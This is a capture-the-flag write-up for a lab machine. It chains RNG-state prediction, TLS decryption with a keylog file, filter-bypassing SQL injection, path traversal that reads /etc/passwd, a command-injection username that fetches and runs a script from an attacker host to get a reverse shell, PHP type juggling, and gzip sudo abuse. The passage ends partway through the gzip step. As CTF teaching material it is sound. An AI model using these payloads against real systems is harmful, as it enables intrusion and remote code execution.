Warpnet CTF 2024 – Final Challenge
At the end of September, we hosted an online week-long Capture The Flag event on our Hacklabs platform. This post goes through the solution to this final challenge!
At the end of September, we hosted an online week-long Capture The Flag event on our Hacklabs platform. This post goes through the solution to this final challenge!
At the end of September, we hosted an online week-long Capture The Flag event on our Hacklabs platform. Participants had lots of fun playing and solving the challenges, and learning from each other after the competition. This ended with a finale at our office where the best participants played one final challenge to distribute the prizes. This post goes through the solution to this final challenge!
This challenge consists of 9 flags hidden across various services and levels of depth in the machine. Multiple paths exist to reach the end.
Starting with enumeration, an nmap
of the machine (10.8.0.82) shows the following open ports:
$ sudo nmap -Pn -n -sV -sC -O -vv -oN nmap.txt -p- -sS -T4 10.8.0.82
...
Nmap scan report for 10.8.0.82
Host is up, received user-set (0.019s latency).
Scanned at 2024-10-19 15:58:08 CEST for 116s
Not shown: 65529 closed ports
Reason: 65529 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp open http syn-ack ttl 61 Werkzeug/3.0.4 Python/3.11.2
| http-auth:
| HTTP/1.1 401 UNAUTHORIZED\x0D
|_ Basic realm=Authentication Required
139/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.6.2
445/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.6.2
1337/tcp open waste? syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61 MySQL 5.5.5-10.11.6-MariaDB-0+deb12u1
On this server, an SSH server is running on port 22, an HTTP server on port 80 requiring authentication, an SMB server on ports 139 and 445, and a MySQL server open on port 3306. Another unknown service on port 1337 is also open. We will explore these one by one.
If we connect to port 1337
using netcat (nc
), we get a ton out [DEBUG]
output before a menu asking us to flip a coin or roll a dice:
$ nc -v 10.8.0.82 1337
Connection to 10.8.0.82 1337 port [tcp/*] succeeded!
[DEBUG] ZnJvbSB0ZXJtY29sb3IgaW1wb3J0IGNwcmludApmcm9tIGNvbG9yYW1hIGltcG9ydCBGb3JlCmZyb20gYmFz
...
ZiJZb3Ugd2luISEhIHtGTEFHfSIsICJ5ZWxsb3ciKQogICAgICAgICAgICBicmVhawogICAgZWxzZToKICAgICAgICBjcHJpbnQoIkludmFsaWQgY2hvaWNlISIsICJyZWQiKQo=
[DEBUG] (3, (2147483648, 1887914744, 2756020746, 201810272, 3359707872, 3156406226, 2992947414, 1530504030, 2648658794, 228605079,
...
4239002166, 3110075729, 11230755, 3014065313, 3922022629, 1767810001, 624), None)
Welcome to the Casino!
1. Flip coin
2. Roll dice
Choice:
The first line of debugging output looks suspiciously like Base64. After decoding the string using CyberChef, we get the following Source Code:
from termcolor import cprint
from colorama import Fore
from base64 import b64encode
import random
from secret import FLAG
cprint(f"[DEBUG] {b64encode(open(__file__, 'rb').read()).decode()}", "dark_grey")
cprint(f"[DEBUG] {random.getstate()}", "dark_grey")
print()
cprint("Welcome to the Casino!", "yellow", attrs=["blink"])
def coin_art(result):
if result == "Heads":
return """ ╓────╖\n ╔╝ ╚╗\n╔╝ █ █ ║\n║ █▀█ ╔╝\n╚╗ ▀ ▀╔╝\n ╙────╜"""
else:
return """ ╓────╖\n╔╝ ╚╗\n║ ▀█▀ ╚╗\n╚╗ █ ║\n ╚╗ ▀ ╔╝\n ╙────╜"""
def dice_art(n):
if n == 1:
return """┌───────┐\n│ │\n│ • │\n│ │\n└───────┘"""
elif n == 2:
return """┌───────┐\n│ • │\n│ │\n│ • │\n└───────┘"""
elif n == 3:
return """┌───────┐\n│ • │\n│ • │\n│ • │\n└───────┘"""
elif n == 4:
return """┌───────┐\n│ • • │\n│ │\n│ • • │\n└───────┘"""
elif n == 5:
return """┌───────┐\n│ • • │\n│ • │\n│ • • │\n└───────┘"""
elif n == 6:
return """┌───────┐\n│ • • │\n│ • • │\n│ • • │\n└───────┘"""
sixes = 0
while True:
print()
print("1. Flip coin")
print("2. Roll dice")
choice = input("Choice: " + Fore.LIGHTCYAN_EX) or choice
print(Fore.RESET)
if choice == "1":
result = random.choice(["Heads", "Tails"])
cprint(coin_art(result) + f"\nThe coin landed on {result}!", "green")
elif choice == "2":
result = random.randint(1, 6)
cprint(dice_art(result) + f"\nThe dice roll was {result}!", "green")
if result == 6:
sixes += 1
cprint(f"Nice, your streak is at {sixes}/100.", "green")
else:
sixes = 0
cprint(f"Not a 6, your streak is back to 0.", "light_red")
if sixes == 100:
cprint(f"You win!!! {FLAG}", "yellow")
break
else:
cprint("Invalid choice!", "red")
Reading the code, the first flip coin option just executes random.choice()
between two strings and prints the result with some ASCII art. Next, the roll dice option seems more interesting. If the result of random.randint(1, 6)
happened to be 6
, your stream stored in sixes
is increased by one. When you don’t roll a six, however, your streak is reset. When you reach a streak of 100 sixes in a row, the flag is printed.
Mathematically, you won’t just get lucky by trying to roll the dice until you succeed. The probability of rolling a six is 1/6
, which you need to do 100 times. Even if you would be able to do millions of attempts per second, it would take many universe lifetimes until you would hit a stream of 100. (calculation)
Instead, we have to abuse a vulnerability in the program. The second like of [DEBUG]
output shows a large array that comes from random.getstate()
. Reading the documentation, we find that another method called random.setstate()
exists that takes the output of this object to reproduce a random state. This can be used to make predictions about what the random generator’s next output will be:
>>> import random
>>> state = random.getstate()
>>> random.getrandbits(32)
3774869789
>>> random.getrandbits(32)
2344517096
>>> random.setstate(state) # Reset the random state
>>> random.getrandbits(32)
3774869789
>>> random.getrandbits(32)
2344517096
The above shows that we can recover the full state of the RNG with this method to know in advance what it will output. Using the logic of the application, one idea would be to check locally if the next random.randint(1, 6)
would be a 6, and if it is not, flip coins (random.choice()
) until it is. Only then roll the dice to ensure it is always a six!
We can implement this in Python to automate the process. The pwntools library helps with TCP interaction, and tqdm has a nice and simple progress bar. We will synchronize the random state with the remote server, and then flip coins until the dice would become a 6. Then, we roll the dice on the remote connection and do so for 100 rounds. This prints the flag at the end:
from pwn import *
from tqdm import tqdm
p = remote("10.8.0.82", 1337)
p.recvline() # skip source code
state = p.recvline().split(b"[DEBUG] ")[1].split(b"\x1b")[0]
state = safeeval.const(state)
random.setstate(state) # sync random state
for i in tqdm(range(100), desc="Rounds"):
# Synchronize state and iterate until the next dice roll is 6
while random.randint(1, 6) != 6:
random.setstate(state)
random.choice(["Heads", "Tails"])
p.sendlineafter(b"Choice: ", b"1")
state = random.getstate()
p.sendlineafter(b"Choice: ", b"2")
tqdm.write(p.recvline_contains(b"streak"))
p.interactive() # CTF{y0U_mU5t_B3_v3e3eEE3ry_LuCKY}
On ports 139 and 445, an SMB share is present. Without authentication, we can list the shares and find one named Final
:
$ smbclient -L '//10.8.0.82' -U '%'
Sharename Type Comment
--------- ---- -------
Final Disk
IPC$ IPC IPC Service (Samba 4.17.12-Debian)
Connecting to it, we find one file named intercepted.zip
, which we can retrieve:
$ smbclient '//10.8.0.82/Final' -U '%'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Oct 2 22:25:09 2024
.. D 0 Wed Oct 2 22:25:08 2024
intercepted.zip N 74214 Wed Oct 2 22:25:09 2024
50620216 blocks of size 1024. 46381328 blocks available
smb: \> get intercepted.zip
getting file \intercepted.zip of size 74214 as intercepted.zip (589.2 KiloBytes/sec) (average 589.2 KiloBytes/sec)
After unzipping this file, we find final.pcapng
and file.log
:
$ unzip intercepted.zip
Archive: intercepted.zip
inflating: final.pcapng
inflating: file.log
$ file final.pcapng file.log
final.pcapng: pcapng capture file - version 1.0
file.log: ASCII text, with CRLF line terminators
The file.log
appears to be a TLS log file, containing handshake secrets:
$ head file.log
# SSL/TLS secrets log file, generated by NSS
CLIENT_HANDSHAKE_TRAFFIC_SECRET 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 952a30ad79baead50e0980b56deee3e8a4875f95d4687b18793f36381971903f
SERVER_HANDSHAKE_TRAFFIC_SECRET 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 be949785a33829b2f463a73d327b00588db1c304f1683f58ce058f601ae7e823
CLIENT_HANDSHAKE_TRAFFIC_SECRET bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 d060a08cd1f87fd8d6752413c18d2e564117b3c8a67ffc97e9a4b3ce97b8e413
SERVER_HANDSHAKE_TRAFFIC_SECRET bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 221ef1787bf1ed9457dccd794cf1c10b3b5aec09dbcaed79a8c856bc43202e71
CLIENT_TRAFFIC_SECRET_0 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 47821337da2a1d042b640331c4299f32a5106f8714090dbddd648bbfc5d0258d
SERVER_TRAFFIC_SECRET_0 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 66b4b833b79c7327bc2b32da93b074371f3c60c7072cd9c60cf9595c3348b200
EXPORTER_SECRET 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 84f5fce76f38d53f7fd8f29461696f85c607cb02bbe4a86f539de079ce39d59f
CLIENT_TRAFFIC_SECRET_0 bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 7b41d30167eb04c53bd912590f9e5e63104e2ee789efdaa563032cda12f17522
SERVER_TRAFFIC_SECRET_0 bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 16df67c12ea5bee3bfef9094a7fe2f063082acc0ff4c4f90d051b6b74d648553
The .pcapng
file can be opened in Wireshark. This shows many different protocols, including a small tls
part. If we search about how to decrypt this TLS traffic, the Wireshark documentation explains that in the preferences, a (Pre-)-Master-Secret log file can be selected. This sounds a lot like what is given in file.log
.
In Wireshark, we need to open Edit->Preferences and expand the Protocols section. Then, find TLS in this list and click Browse on the last option. If we select our file.log
here and press OK, we find that all the tls
traffic has been decrypted!
Looking at the Server Hello
message of the TLS handshake, we find a new tab named Decrypted TLS. This contains the encrypted data about the certificate that is sent to the client. It includes a flag in multiple parts of the certificate, the issuer
and subject
.
Flag: CTF{TLS_C3RT1F1C4T3_F0UND}
There is now http
traffic that posts to a /upload
URL with Content-Type: application/pdf
. We can try to extract this data manually, but Wireshark has an option in File -> Export Objects -> HTTP… to Save all objects to any directory. This will write the /upload
form data including the PDF.
$ cat upload
-----------------------------1285009858361488843608501223
Content-Disposition: form-data; name="file"; filename="Ticket ID.pdf"
Content-Type: application/pdf
%PDF-1.7
...
38585
%%EOF
-----------------------------1285009858361488843608501223--
The file appears to still contain form boundaries, but PDF looks for the header and trailer at any location in the file. If we just rename it to upload.pdf
, we can open it with any PDF reader. Here, we read the following:
Ticket ID: #195521
Ticket Title: Issue Connecting to server
Description: I’m experiencing an issue while trying to connect to an internal application on my Linux machine. When I attempt to launch the app via the terminal, I’m receiving the following error messageuser@ubuntu:~$ ./connect.sh Please provide password: [BLURRED_PASSWORD] [ERROR] Connection failed: Unable to reach the server [ERROR] Timeout occurred during handshake [ERROR] CTF{D0NT_BL4R_P4SSW0RDS} [ERROR] Exiting application with code 1
I’ve already tried the following troubleshooting steps:
- Verified network connectivity (pinged the server, which responded correctly).
- Restarted the application and my machine.
- Checked the firewall settings—nothing seems to be blocking the application.
Let me know if you need any additional information. Thank you!
A flag can be found in the contents: CTF{D0NT_BL4R_P4SSW0RDS}
An image is placed over the Please provide password:
prompt with what looks to be a blurred password. We can extract the full image using Python or the pdfimages
command:
$ pdfimages upload.pdf -all out
$ file out-000.png
out-000.png: PNG image data, 205 x 15, 8-bit/color RGB, non-interlaced
The image is still unreadable to the human eye, but tools such as Depix exist to try and brute force characters and match the generated blurred squares. Running this tool over the image with the debruinseq_notepad_Windows10_closeAndSpaced.png
example usage, a slightly readable image is generated.
depix -p out-000.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o unblurred.png
The image is still unreadable to the human eye, but tools such as Depix exist to try and brute force characters and match the generated blurred squares. Running this tool over the image with the debruinseq_notepad_Windows10_closeAndSpaced.png
example usage, a slightly readable image is generated.
Hello from the other side
You might have also recognized the image/text from the example in the Depix documentation.
This password allows us to log in to the Web Application on port 80. The username is user
as found on the console in the PDF (user@ubuntu:~$
).
$ curl -D - 'http://10.8.0.82'
HTTP/1.1 401 UNAUTHORIZED
Server: Werkzeug/3.0.4 Python/3.11.2
Date: Sat, 19 Oct 2024 15:11:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 19
WWW-Authenticate: Basic realm="Authentication Required"
Connection: close
Unauthorized Access
The web application requires ‘Basic Authentication’, which curl supports with -u
:
$ curl -D - -u 'user:Hello from the other side' 'http://10.8.0.82'
HTTP/1.1 302 FOUND
Server: Werkzeug/3.0.4 Python/3.11.2
Date: Sat, 19 Oct 2024 15:12:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 197
Location: /ftp/
Connection: close
<!doctype html>
<html lang="en">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/en/ftp/">/ftp/</a>. If not, click the link.
We are successfully authenticated and can now access the web application on /ftp/
.
An alternative method of authenticating to the web application without the PDF extraction and password unblurring is by attacking the Basic Authentication scheme it uses.
Inputting any wrong combination just results in an “Unauthorized Access” message:
$ curl -u 'user:pass' 'http://10.8.0.82/'
Unauthorized Access
We can try some special characters in the username and/or password to see if the application responds differently:
$ curl -u 'user")]}{[(*%:pass")]}{[(*%' 'http://10.8.0.82/'
Blocked symbol: '('
It sure does! But it is blocking one of our special characters. We can remove it and continue until we find which aren’t blocked:
$ curl -u 'user")]}{[*%:pass' 'http://10.8.0.82/'
Blocked symbol: ')'
$ curl -u 'user"]}{[*%:pass' 'http://10.8.0.82/'
Blocked symbol: '*'
$ curl -u 'user"]}{[%:pass' 'http://10.8.0.82/'
Blocked symbol: '%'
$ curl -u 'user"]}{[:pass' 'http://10.8.0.82/'
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ']}{[" AND password="pass"' at line 1
$ curl -u 'user":pass' 'http://10.8.0.82/'
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'pass"' at line 1
Suddenly, a MySQL error appears! This happens when we only put a "
character in our username/password. A great sign at SQL Injection. The SQL statement we are attacking is likely similar to this:
SELECT * FROM users WHERE username = "user" AND password = "pass";
-- Injected:
SELECT * FROM users WHERE username = "user"" AND password = "pass";
Normally, we could bypass this by continuing the syntax of the query after closing the username quote. Using " OR 1=1;-- -
as a payload, it should make the condition always true and ignore the password:
SELECT * FROM users WHERE username = "" OR 1=1;-- -" AND password = "pass";
$ curl -u 'user" OR 1=1;-- -:pass' 'http://10.8.0.82/'
Blocked keyword: 'OR'
Unfortunately, the filter also blocks keywords like “OR”, and it is case-insensitive. Even if we were able to find a different useful keyword here, the =
and -
characters are blocked as well.
Commenting out the rest of the query isn’t entirely needed in this case, because we can just repeat the always-true payload for the username in the password to pass its check. The question is, how do we make a condition always true with all these filters blocking special characters and keywords?
We can check the documentation for more operators like OR
. Instead of working with booleans, MySQL can also perform integer operations on strings by silently casting them. The following page can be used to easily play around with queries to understand what is happening.
https://www.db-fiddle.com/f/928DfgRkMHCZri3ryqhWuu/0
Let’s take the following query, and understand what happens:
SELECT * FROM users WHERE username=""-0;
When running it on DB Fiddle, all records are returned. Why is that? Well, we need to evaluate the WHERE
expression just like MySQL would. We need to understand “Type Conversion” and “Operator Precedence”.
Subtraction happens before equals, and strings that don’t look like numbers are converted to 0. We look at the expression here and see that it evaluates to the following:
username=""-0;
"user"=""-0;
"user"=(""-0);
"user"=0;
0=0;
1;
TRUE;
That is why the weird expression above resulted in all records being returned. Still, -
is a blocked character, but maybe we can come up with different unblocked operators that abuse these same rules. This turns out to be pretty easy because all we need to do is implicitly cast the input string to an integer, which will be 0, and is then always compared to another 0.
The /
(divide) operator has an alternative representation as DIV
. By dividing a string by a number like 1, it is turned into 0, equaling the other string that also casts to 0. The following works:
SELECT * FROM users WHERE username=""DIV 1;
However, this still isn’t enough because our injection also ends with a "
character. If we were to inject username=""DIV"";
, the strings would cast to 0 and 0/0 = null
. username=null
won’t be true, so we won’t bypass the check. Instead, we can make the string cast to 1 by letting it be "1"
:
SELECT * FROM users WHERE username=""DIV"1";
-- What happens in the background:
SELECT * FROM users WHERE "user"=(""DIV"1");
SELECT * FROM users WHERE "user"=(0 DIV 1);
SELECT * FROM users WHERE "user"=0;
SELECT * FROM users WHERE 0=0;
SELECT * FROM users WHERE TRUE;
This creates an always-true condition and bypasses the SQL Injection filter in the application, successfully logging us in when put in both the username and password:
$ curl -u '"DIV"1:"DIV"1' 'http://10.8.0.82/'
<!doctype html>
<html lang="en">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/en/ftp/">/ftp/</a>. If not, click the link.
This allows us to look at the authenticated /ftp/
page.
After authenticating, the web page looks like this:
$ curl -u 'user:Hello from the other side' 'http://10.8.0.82/ftp/'
<h1>WebFTP</h1>
<ul>
<li><a href="/en/ftp/?filename=file.txt">file.txt</a></li>
<li><a href="/en/ftp/dir/">dir/</a></li>
</ul>
<form method="post" enctype="multipart/form-data" action="">
<input type="file" name="file" />
<input type="submit" value="Upload" />
<input type="hidden" name="trp-form-language" value="en"/></form>
We can upload and download files here, like an FTP server. All endpoints detect the use of ../
for path traversal vulnerabilities, but one parameter misses this check. When downloading the file, the URL path and filename parameter are appended together. This URL path that serves as the directory is missing a ../
check, allowing it to traverse to any directory:
Tip: When using curl or the browser,
../
sequences in the path are automatically removed and won’t be sent to the remote server. Use a proxy like Burp Suite or the--path-as-is
argument to have more control.
$ curl --path-as-is -u 'user:Hello from the other side' 'http://10.8.0.82/ftp/../../../etc?filename=passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
This allows us to enumerate the server. From looking at the headers, we know that a Python server is hosting this application. Using only a single ../
sequence, we can hopefully traverse outside of the files/
directory into the source code. Then, Python applications often have a requirements.txt
file which we can read to confirm:
$ curl --path-as-is -u 'user:Hello from the other side' 'http://10.8.0.82/ftp/../?filename=requirements.txt'
Flask
Flask-HTTPAuth
mariadb
Next, we can try to find the source code itself in app.py
or main.py
:
$ curl --path-as-is -u 'user:Hello from the other side' 'http://10.8.0.82/ftp/../?filename=app.py'
File not found
$ curl --path-as-is -u 'user:Hello from the other side' 'http://10.8.0.82/ftp/../?filename=main.py'
from flask import Flask, redirect, render_template, request, send_file, Response
from flask_httpauth import HTTPBasicAuth
...
Great, we found the main source code file. Here, we find a database configuration with credentials. We remember from the nmap
output that MySQL is exposed to the outside, so we can try to connect to it.
app = Flask(__name__)
auth = HTTPBasicAuth()
DB_CONFIG = {
'host': 'localhost',
'port': 3306,
'user': 'webftp',
'password': 'D@t4b4s3_P@55w0rd_f0r_W3bFTP!_2cacfa07',
'database': 'webftp'
}
...
@auth.verify_password
def verify_password(username, password):
for input in [username, password]:
for blocked in ["UNION", "SELECT", "WHERE", "AND", "OR", "XOR", "LIKE", "RLIKE", "REGEXP"]:
if re.search(rf"\b{re.escape(blocked)}\b", input, re.IGNORECASE):
raise ValueError(f"Blocked keyword: {blocked!r}")
for blocked in "()&|^=<>+-*/%":
if blocked in input:
raise ValueError(f"Blocked symbol: {blocked!r}")
data = sql_query(
f"SELECT username FROM users WHERE username=\"%s\" AND password=\"%s\"" % (username, password))
if len(data) > 0:
os.system(f"echo '{data[0][0]} logged in' >> /var/log/webftp.log")
return True
We can also notice the verify_password()
function with the SQL Injection filter from earlier, as well as a suspicious os.system()
call with output from the SQL query.
Let’s connect to the database and enumerate it:
$ mysql -h 10.8.0.82 -u webftp -p webftp
Enter password: D@t4b4s3_P@55w0rd_f0r_W3bFTP!_2cacfa07
MariaDB [webftp]> show tables;
+------------------+
| Tables_in_webftp |
+------------------+
| flag |
| users |
+------------------+
2 rows in set (0.019 sec)
MariaDB [webftp]> select * from flag;
+--------------------------------------------------+
| flag |
+--------------------------------------------------+
| CTF{cr4ck3d_th3_d4t4b453?_n0w_cr4ck_th3_5y5t3m!} |
+--------------------------------------------------+
1 row in set (0.023 sec)
Another flag found: CTF{cr4ck3d_th3_d4t4b453?_n0w_cr4ck_th3_5y5t3m!}
Above we have just gotten access to the database, and found the logic of logging in. os.system()
is called with the username after a successful login, input enclosed on '
quotes. We could inject '; id; '
to execute an arbitrary id
command. The user doesn’t exist yet, but with access to the database, we can create it. Note that if we want to input the username later, we need to still bypass the blocked characters from the SQL Injection filter. Either by finding the initial Login Bypass which doesn’t require inputting the username, or by making a payload that doesn’t require any blocked characters:
MariaDB [webftp]> UPDATE users SET username="';rm index.html;wget 10.9.0.77;sh index.html;'";
Query OK, 1 row affected (0.055 sec)
Rows matched: 1 Changed: 1 Warnings: 0
MariaDB [webftp]> select * from users;
+----+------------------------------------------------+---------------------------+
| id | username | password |
+----+------------------------------------------------+---------------------------+
| 1 | ';rm index.html;wget 10.9.0.77;sh index.html;' | hello from the other side |
+----+------------------------------------------------+---------------------------+
1 row in set (0.024 sec)
Now we host our payload to download, and a reverse shell, then log in to trigger it:
$ curl --path-as-is -u "';rm index.html;wget 10.9.0.77;sh index.html;':Hello from the other side" 'http://10.8.0.82/'
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.96.1 - - [19/Oct/2024 21:56:38] "GET / HTTP/1.1" 200 -
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 192.168.96.1 1976
sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We now have a shell! After enumerating the system for a bit, you may notice the /getflag
binary:
$ ls -la /
total 540
...
-rwx--x--x 1 root root 474704 Oct 2 20:26 getflag
Running it will grant one flag of the current user (www-data
). It also explains that there are two more user flags for the admin
and root
user.
$ getflag
Get the flag for the current user. Only 'www-data', 'admin' and 'root' have flags.
Congratulations!
www-data's flag is: CTF{dubdubdub_f0r_y0u_n3v3r_tru5t_th3_d4t4b453}
During enumeration, you may have run LinPEAS. One of its steps is to look at the Environment Variables for interesting information.
$ env
SUPERVISOR_GROUP_NAME=webftp
HISTCONTROL=ignorespace
HOSTNAME=8eaa3d121ffd
PWD=/opt/webftp
HOME=/root
FLAG=CTF{h0p3_y0u_d1dnt_n0t1c3_m3_t00_14t3...}
WERKZEUG_SERVER_FD=3
TERM=xterm-256color
SHLVL=3
LC_CTYPE=C.UTF-8
PS1=$(command printf "\[\033[01;31m\](remote)\[\033[0m\] \[\033[01;33m\]$(whoami)@$(hostname)\[\033[0m\]:\[\033[1;36m\]$PWD\[\033[0m\]\$ ")
SUPERVISOR_PROCESS_NAME=webftp
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SUPERVISOR_ENABLED=1
_=/usr/bin/env
We find a FLAG
environment variable containing another flag: CTF{h0p3_y0u_d1dnt_n0t1c3_m3_t00_14t3...}
After more enumeration, we find a few applications inside /opt/
by various users:
$ ls -l /opt
total 16
drwx------ 1 root root 4096 Oct 2 20:25 casino
drwxrwxrwx 1 php php 4096 Oct 2 20:25 signify
drwxr-xr-x 1 root admin 4096 Oct 2 20:25 super-reader
drwxrwxrwx 1 www-data www-data 4096 Oct 19 20:01 webftp
The signify
application has a readable index.php
file, and a non-readable secret.php
file. Listing the open ports using ss
internally, we can find a 127.0.0.1:8080
application. This is the Signify application.
$ ls -l
total 8
-rw-rw-rw- 1 php php 613 Oct 2 20:25 index.php
-rw------- 1 php php 95 Oct 2 20:25 secret.php
$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.11:52253 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.11:34883 0.0.0.0:*
tcp LISTEN 0 80 0.0.0.0:3306 0.0.0.0:*
tcp LISTEN 0 50 0.0.0.0:139 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:* users:(("ss",pid=175,fd=3),("bash",pid=133,fd=3),("sh",pid=132,fd=3),("script",pid=131,fd=3),("bash",pid=111,fd=3),("bash",pid=110,fd=3),("sh",pid=109,fd=3),("sh",pid=106,fd=3),("python3",pid=50,fd=3))
tcp LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 5 0.0.0.0:1337 0.0.0.0:*
tcp LISTEN 0 50 0.0.0.0:445 0.0.0.0:*
tcp LISTEN 0 50 [::]:139 [::]:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 50 [::]:445 [::]:*
$ curl localhost:8080
No command provided
By reading the source code we can learn what the application expects:
<?php
require 'secret.php';
function generate_signature($data) {
global $signing_key;
$hash = hash_hmac('sha256', $data, $signing_key);
return substr($hash, 0, 4) . '-' . substr($hash, 4, 4);
}
if (isset($_GET['command'])) {
$command = $_GET['command'];
$signature = generate_signature($command);
if ($signature == $_GET['signature']) {
if (str_starts_with($command, 'getflag')) {
echo $flag . "\n";
} else {
die("Command not found\n");
}
} else {
die("Invalid signature\n");
}
} else {
die("No command provided\n");
}
The ?command=
parameter must be provided, and a signature based on its value is calculated to then compare with the &signature=
parameter. If the command starts with getflag
, a flag is returned.
The signature algorithm seems to be using an unknown $signing_key
from the secret.php
file, which we cannot read. We also cannot leak the signature in any way as it is only ever compared, never returned. The comparison happens with a double-equals operator, which is interesting in PHP because it is the “loose comparison” operator. With triple-equals (===
), types would have to match as well as value to become true. With loose comparison, PHP casts strings to integers in a lot of places, even when directly comparing strings:
$ php -a
Interactive shell
php > var_dump("0" == "00");
bool(true)
This can lead to what are know as “Type Juggling” vulnerabilities. When PHP thinks both strings look like numbers, the comparison becomes based on those numbers instead of the strings. Some representations of numbers that PHP recognizes are:
123
0123
0.0123
1e6 = 1000000
2e-2 = 0.02
In our case, the signature is a substring of two parts of a hex sha256 hash:
a1b2-c3d4
We learned that type juggling is only possible if both sides of the comparison are seen as a number, including the generated signature we match against. Could this ever be seen as a number? If we get lucky, all positions may become numeric*, and the 4th character becomes an e
. It could look something like this:
123e-6789
This would be seen as a number by PHP, and because this scientific notation results in a tiny number, it evaluates to 0. We can match this with our signature=
value:
php > var_dump("123e-6789" == "0");
bool(true)
We just have to get lucky. Exactly how lucky, we can calculate. 0-9 are good, only a-f are bad characters in all positions (10/16). One of the positions (index 4) needs to be e
(1/16). On average, this should take around 1 / ((10/16)**7 * (1/16)) = 429
attempts. Not too difficult in a localhost connection.
We can write a script for it, or use a handy feature of curl
to enumerate all possible characters in a character set to go through lots of different inputs:
$ curl -o /dev/null -w '%{url}\n' -s 'http://localhost:8080/[1-3][a-c]'
http://localhost:8080/1a
http://localhost:8080/1b
http://localhost:8080/1c
http://localhost:8080/2a
http://localhost:8080/2b
http://localhost:8080/2c
http://localhost:8080/3a
http://localhost:8080/3b
http://localhost:8080/3c
$ curl -s 'http://localhost:8080/?command=getflag[1-9][1-9][1-9]&signature=0' | grep -v Invalid
CTF{c4n_PHP_g3t_3v3n_CR4Z13R?}
After around a thousand attempts, we pass the check and get printed the flag: CTF{c4n_PHP_g3t_3v3n_CR4Z13R?}
Enumerating privilege escalation options as www-data
, we quickly notice that sudo -l
shows that we are allowed to execute the gzip
binary as admin
:
$ sudo -l
Matching Defaults entries for www-data on a38f0773842e:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on a38f0773842e:
(admin) NOPASSWD: /bin/gzip
This is interesting, and one common method of exploitation is abusing the functionality of gzip
in this case to perform actions as admin
that allow us to become them. The site GTFOBins collects many techniques to abuse these binaries and even has a section for gzip. It says that we can read files with this but not much else.
One idea would be to read the SSH private key of admin
in their ~/.ssh
directory, in hopes that they can authenticate as themselves.
$ sudo -u admin gzip -c /home/admin/.ssh/id_rsa | gzip -d
gzip: /home/admin/.ssh/id_rsa: No such file or directory
gzip: stdin: unexpected end of file
It doesn’t appear that a file named id_rsa
exists there. There also aren’t any other interesting files to read as admin
that we can find. Instead, we should look for more vulnerabilities we can create with gzip
ourselves.
gzip
normally takes a .gz
file as input, decompresses it, and writes it to the same location with .gz
stripped off the end. One idea we can try is to place a symlink at the location where gzip will try to write the output file, potentially following the symlink and writing to its destination as admin
. One interesting destination would be /home/admin/.ssh/authorized_keys
to add our own keys and authenticate as admin
through SSH:
$ cd /tmp
$ echo content > keys
$ gzip keys # creates keys.gz
$ ln -s /tmp/test keys
$ ls -l keys*
lrwxrwxrwx 1 www-data www-data 32 Oct 19 20:38 keys -> /tmp/test
-rw-r--r-- 1 www-data www-data 33 Oct 19 20:38 keys.gz
$ sudo -u admin gzip -d keys.gz
gzip: keys already exists; do you wish to overwrite (y or n)? y
gzip: keys: Operation not permitted
Unfortunately, it seems to be unable to overwrite the symlink, presumably because it checks the permissions of the symlink keys
file itself, owned by www-data
.
For more ideas, we can check the help page of gzip --help
to find all possible options:
$ gzip --help
Usage: gzip [OPTION]... [FILE]...
Compress or uncompress FILEs (by default, compress FILES in-place).
Mandatory arguments to long options are mandatory for short options too.
-c, --stdout write on standard output, keep original files unchanged
-d, --decompress decompress
-f, --force force overwrite of output file and compress links
-h, --help give this help
-k, --keep keep (don't delete) input files
-l, --list list compressed file contents
-L, --license display software license
-n, --no-name do not save or restore the original name and timestamp
-N, --name save or restore the original name and timestamp
-q, --quiet suppress all warnings
-r, --recursive operate recursively on directories
--rsyncable make rsync-friendly archive
-S, --suffix=SUF use suffix SUF on compressed files
--synchronous synchronous output (safer if system crashes, but slower)
-t, --test test compressed file integrity
-v, --verbose verbose mode
